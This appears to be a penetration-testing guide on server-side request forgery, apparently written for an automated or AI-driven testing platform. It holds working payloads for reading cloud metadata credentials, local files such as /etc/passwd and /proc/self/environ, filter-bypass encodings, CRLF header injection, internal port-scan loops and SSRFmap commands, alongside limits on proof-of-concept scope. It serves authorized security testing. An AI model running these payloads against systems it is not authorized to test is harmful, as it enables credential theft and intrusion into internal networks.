Skip to main content
CWECWE-918
WSTGWSTG-INPV-19
MITRE ATT&CKT1090
CVSS Range5.0-9.1
Toolsssrfmap
Difficulty🟡 intermediate

Server-Side Request Forgery (SSRF)

SSRF occurs when you can induce a server-side application to make HTTP requests to a destination you control, turning the vulnerable server into a proxy for internal services, cloud metadata, and otherwise unreachable resources. The server typically has network access you do not: internal networks (10.x, 172.16.x, 192.168.x), cloud metadata (169.254.169.254), localhost services, internal DNS, and Docker/Kubernetes internal networks.

Quick Reference​

High-value targets to test immediately when SSRF is confirmed:

TargetURLWhat you get
AWS IMDSv1http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM role credentials
AWS ECShttp://169.254.170.2/v2/credentials/ECS task credentials
GCP metadatahttp://metadata.google.internal/computeMetadata/v1/?recursive=trueAccess tokens (requires Metadata-Flavor: Google header)
Azure IMDShttp://169.254.169.254/metadata/instance?api-version=2021-02-01Instance info (requires Metadata: true header)
Azure identityhttp://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/Managed identity token
Kubernetes APIhttps://kubernetes.default.svc/api/v1/Cluster API access
Localhost serviceshttp://127.0.0.1:<port>/Internal service access
Local filesfile:///etc/passwdFile read (if protocol supported)

Common injection parameters: url, uri, link, href, src, path, redirect, callback, webhook, endpoint, host, target, dest, fetch, load, import, proxy, forward

Detect SSRF​

Find Injection Points​

Look for any functionality where the server fetches external resources:

  • URL preview/unfurling -- link previews, social cards, metadata extraction
  • File operations -- PDF generation from URLs, image processing/resizing, screenshot generation
  • Integrations -- webhook configuration, API endpoint testing, OAuth callbacks, RSS/feed fetching
  • Import/export -- import from URL, remote file loading, data sync
  • Proxy functionality -- API gateways, CORS proxies, image/asset proxies

Identify the SSRF Variant​

Full response SSRF: The server returns the fetched response to you. Most exploitable -- direct data exfiltration.

Blind SSRF: The server fetches the URL but does not return the response. Requires out-of-band detection to confirm the request was made. Use the built-in manage_ssrf_callbacks MCP tool.

Partial/Semi-blind SSRF: The server returns only fragments -- a status code, parsed subset, or error messages that leak information. Timing and error message differences can reveal internal state.

Confirm with Out-of-Band Detection​

Use the built-in SSRF callback service (manage_ssrf_callbacks MCP tool) for out-of-band detection. It is self-hosted, private, and integrated with the platform.

# 1. Create a callback URL
result = mcp__pter-api-server__manage_ssrf_callbacks(action="create")
callback_url = result["callback_url"]
token = result["token"]

# 2. Inject the callback URL into the target
curl -X POST "https://TARGET/api/fetch" \
-H "Content-Type: application/json" \
-d '{"url": "CALLBACK_URL"}'

# Also test URL in path segments and various parameter positions
curl "https://TARGET/fetch?url=CALLBACK_URL"
curl "https://TARGET/image/CALLBACK_URL/test.png"
curl "https://TARGET/proxy/CALLBACK_URL"

# 3. Check if any requests were received
result = mcp__pter-api-server__manage_ssrf_callbacks(action="check", token=token)
# result["received"] == True means the target made an outbound request

# 4. Get full request details (source IP, headers, body)
result = mcp__pter-api-server__manage_ssrf_callbacks(action="get_requests", token=token)

# 5. Clean up when done
mcp__pter-api-server__manage_ssrf_callbacks(action="delete", token=token)

Watch for incoming HTTP requests to confirm the server made an outbound connection.

Analyze Responses​

When the server returns responses, use timing and error analysis to fingerprint:

# Timing analysis -- open ports respond faster than closed/filtered
time curl -s "https://TARGET/fetch?url=http://127.0.0.1:80/" # Fast = service running
time curl -s "https://TARGET/fetch?url=http://10.0.0.1:22" # Slow = timeout/filtered

# Error message analysis -- different errors reveal information
# "Could not resolve host" -> DNS resolution occurs server-side
# "Connection refused" -> host reachable, port closed
# "Protocol mismatch" -> non-HTTP service detected (e.g., SSH)
# "Connection timed out" -> host unreachable or filtered

# Response size comparison
curl -s "https://TARGET/fetch?url=http://127.0.0.1:80" | wc -c # Large = web server
curl -s "https://TARGET/fetch?url=http://127.0.0.1:22" | wc -c # Small = SSH banner

Exploit Blind SSRF​

When the server does not return the response body, use these techniques:

Out-of-band detection with the SSRF callback service:

# Create callback, inject into target, then poll for hits
result = mcp__pter-api-server__manage_ssrf_callbacks(action="create")
# Inject result["callback_url"] into the target
# ...
# Check for captured requests
mcp__pter-api-server__manage_ssrf_callbacks(action="check", token=result["token"])

Timing-based inference:

# Open ports respond faster than closed/filtered
# Measure response time differences across ports
for port in 22 80 443 3306 5432 6379 8080 9200; do
response=$(curl -s -o /dev/null -w "%{http_code}:%{time_total}" \
"https://TARGET/fetch?url=http://127.0.0.1:${port}/")
echo "Port ${port}: ${response}"
done

Error-based inference: Different internal states produce different error messages or HTTP status codes. Map error responses to distinguish open ports, closed ports, and live hosts.

Bypass Input Filters​

Encode IP Addresses​

# Decimal encoding (127.0.0.1 = 2130706433)
http://2130706433/

# Octal encoding
http://0177.0.0.01/
http://0177.0000.0000.0001/

# Hexadecimal encoding
http://0x7f.0x0.0x0.0x1/
http://0x7f000001/

# Shortened notation
http://127.1/
http://127.0.1/

# IPv6 representations
http://[::1]/
http://[0:0:0:0:0:0:0:1]/
http://[::ffff:127.0.0.1]/
http://[0:0:0:0:0:ffff:127.0.0.1]/

Use URL Encoding​

# Single URL encoding
http://127.0.0.1%2f
http://%31%32%37%2e%30%2e%30%2e%31/

# Double URL encoding
http://%25%33%31%25%33%32%25%33%37%2e%30%2e%30%2e%31/

# Unicode / zero-width characters
http://127.0.0.1%E2%80%8B/

Confuse URL Parsers​

# @ sign -- some parsers treat what's before @ as credentials, after @ as host
http://allowed-domain.com@127.0.0.1/

# Fragment confusion
http://127.0.0.1#@allowed-domain.com/

# Backslash confusion
http://allowed-domain.com\@127.0.0.1/

# Null byte injection
http://127.0.0.1%00.allowed-domain.com/

Chain Redirects​

# Use an open redirect on an allowed domain to reach internal targets
https://allowed-domain.com/redirect?url=http://169.254.169.254/

# URL shorteners (if not blocked)
https://bit.ly/xxx # Shortlink redirecting to internal target

Use Controlled DNS​

# DNS pointing to internal IP (you control the DNS record)
# Set internal.your-domain.com -> 127.0.0.1
http://internal.your-domain.com/

# Wildcard DNS services
http://127.0.0.1.nip.io/
http://127.0.0.1.sslip.io/
http://localtest.me/ # Resolves to 127.0.0.1

Inject Headers via CRLF​

# Inject headers via CRLF in URL (useful for cloud metadata header requirements)
http://127.0.0.1/%0d%0aMetadata-Flavor:Google
http://127.0.0.1/%0d%0aX-Injected-Header:value

Map Internal Services​

Use confirmed SSRF to map the internal network and fingerprint services:

Scan Ports​

# Scan common service ports on localhost
for port in 22 80 443 3306 5432 6379 8080 8443 9200 11211 27017; do
response=$(curl -s -o /dev/null -w "%{http_code}:%{time_total}" \
"https://TARGET/fetch?url=http://127.0.0.1:${port}/")
echo "Port ${port}: ${response}"
done

Discover Hosts​

# Docker default gateway
curl "https://TARGET/fetch?url=http://172.17.0.1/"

# Common internal hostnames
for host in localhost gateway db redis elasticsearch rabbitmq consul vault \
memcached mongodb mysql postgres grafana prometheus jenkins; do
curl -s "https://TARGET/fetch?url=http://${host}/"
done

# Scan internal IP ranges (targeted, not exhaustive)
# 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16

Fingerprint Services​

# Redis (6379) -- look for redis_version, os, uptime
curl "https://TARGET/fetch?url=http://127.0.0.1:6379/INFO"

# Elasticsearch (9200) -- look for cluster_name, version
curl "https://TARGET/fetch?url=http://127.0.0.1:9200/"

# Docker API (2375) -- list running containers
curl "https://TARGET/fetch?url=http://127.0.0.1:2375/containers/json"

# Consul (8500) -- cluster membership
curl "https://TARGET/fetch?url=http://127.0.0.1:8500/v1/agent/members"

# MongoDB (27017)
curl "https://TARGET/fetch?url=http://127.0.0.1:27017/"

Scan Cloud Buckets​

When you discover cloud infrastructure, check for publicly accessible storage:

# AWS S3 -- check if bucket is publicly readable
curl "https://BUCKET_NAME.s3.amazonaws.com/"
curl "https://s3.amazonaws.com/BUCKET_NAME/"

# Azure Blob Storage -- check public container access
curl "https://ACCOUNT.blob.core.windows.net/CONTAINER?restype=container&comp=list"

# GCP Cloud Storage -- check public bucket
curl "https://storage.googleapis.com/BUCKET_NAME/"

Discover bucket names from: metadata user-data scripts, environment variables (via file:///proc/self/environ), application configuration files, and HTML/JS source containing storage URLs.

Assess Impact​

Establish clear evidence thresholds before claiming exploitation success:

Level 1 -- Basic Detection (Low severity): The server made an HTTP request to your callback. Confirms SSRF exists but impact is unclear. Proof: callback service received a request from the target's IP with your unique path.

Level 2 -- Internal Access (Medium/High severity): The server accessed internal or restricted resources. Proof: response contains internal service data (Elasticsearch cluster info, Redis version, internal admin panels) not accessible externally.

Level 3 -- Sensitive Data Access (High/Critical severity): Extracted sensitive data from internal resources. Proof: cloud metadata credentials retrieved, internal API responses with sensitive data, configuration files with secrets.

Level 4 -- Critical Impact (Critical severity): Achieved code execution or full system compromise. Proof: RCE through internal service exploitation (Redis, Docker API), stolen credentials used to demonstrate further access (S3 bucket listing, EC2 control).

Write the PoC​

Do:

  • Extract the minimum data needed to prove the vulnerability
  • Use read-only operations where possible
  • Document the capability without fully exercising it
  • Report immediately if highly sensitive credentials are exposed
  • Include the full request/response chain in your report

Do not:

  • Exfiltrate bulk data or dump entire credential stores
  • Send malformed data that could crash internal services
  • Use extracted credentials for extended access or lateral movement
  • Access other users' or tenants' data via stolen cloud credentials
  • Port scan entire networks -- use targeted probes

False positives to avoid:

  • Client-side requests: Verify the request originates from the server, not the user's browser (JavaScript fetch())
  • Open redirects: A 302 redirect to http://127.0.0.1/ is not SSRF -- the server must fetch the URL and return its content
  • Intended proxy functionality: CORS proxies designed to forward requests are features, not vulnerabilities -- focus on accessing unintended internal resources
  • DNS-only lookups: A DNS resolution without a subsequent HTTP request is not SSRF exploitation

Tools​

ToolPurposeWhen to use
manage_ssrf_callbacksOut-of-band callback detectionAlways -- essential for blind SSRF detection. Use action="create" to generate a callback URL
SSRFmapAutomated SSRF exploitationAfter confirming basic SSRF. Automates cloud metadata extraction, port scanning, file reading (ssrfmap -r request.txt -p url -m aws)
GopherusGopher protocol payload generationWhen gopher:// is supported. Generates payloads for Redis, MySQL, FastCGI exploitation
rbndr.us / rebind.itDNS rebinding servicesWhen hostname validation blocks direct IP access. Alternates DNS responses between safe and target IPs
singularityDNS rebinding attack frameworkSelf-hosted DNS rebinding for more control
curlManual HTTP requestsCore tool for all manual testing and verification

SSRFmap workflow:

# Save the vulnerable request as a template
cat > request.txt << 'EOF'
POST /api/fetch HTTP/1.1
Host: target.com
Content-Type: application/json

{"url": "FUZZ"}
EOF

# Test cloud metadata
ssrfmap -r request.txt -p url -m aws
ssrfmap -r request.txt -p url -m gcp
ssrfmap -r request.txt -p url -m azure

# Test file reading and port scanning
ssrfmap -r request.txt -p url -m readfiles
ssrfmap -r request.txt -p url -m portscan

Prioritization​

Test these first (highest real-world exploitability)​

  1. Cloud metadata extraction (AWS IMDSv1, GCP, Azure) -- EPSS >0.7 for SSRF CVEs targeting cloud metadata. Single request can yield IAM credentials with broad access. This is the #1 SSRF target in cloud-hosted applications.
  2. Full-response SSRF on URL preview/webhook endpoints -- Webhook configuration, URL preview, and link unfurling features are the most common SSRF vectors. Direct data exfiltration when the response is returned.
  3. Internal service access via localhost -- Redis, Elasticsearch, Docker API, and other services commonly listen on localhost without authentication. Port scan 127.0.0.1 on common service ports.

Test these if time permits (lower exploitability)​

  1. Blind SSRF with out-of-band detection -- Confirms the vulnerability exists but impact demonstration requires additional steps. Use manage_ssrf_callbacks for detection, then attempt to escalate.
  2. Protocol handler abuse (gopher://, file://, dict://) -- Many modern HTTP libraries restrict protocols to http/https. Test only if the application uses permissive URL fetching libraries.
  3. DNS rebinding attacks -- Complex setup, requires controlled DNS infrastructure. Use only when IP-based blocklists prevent direct access to internal targets.

Skip if​

  • Application does not fetch external URLs or process user-supplied URLs in any feature
  • Application runs on-premise with no cloud metadata service (no 169.254.169.254)
  • All URL parameters are validated against a strict allowlist of domains

Asset criticality​

Prioritize by infrastructure exposure: cloud-hosted applications (metadata = credential theft) > applications with internal service dependencies (Redis, databases) > on-premise applications. SSRF on webhook/integration endpoints is higher priority than on image proxy endpoints.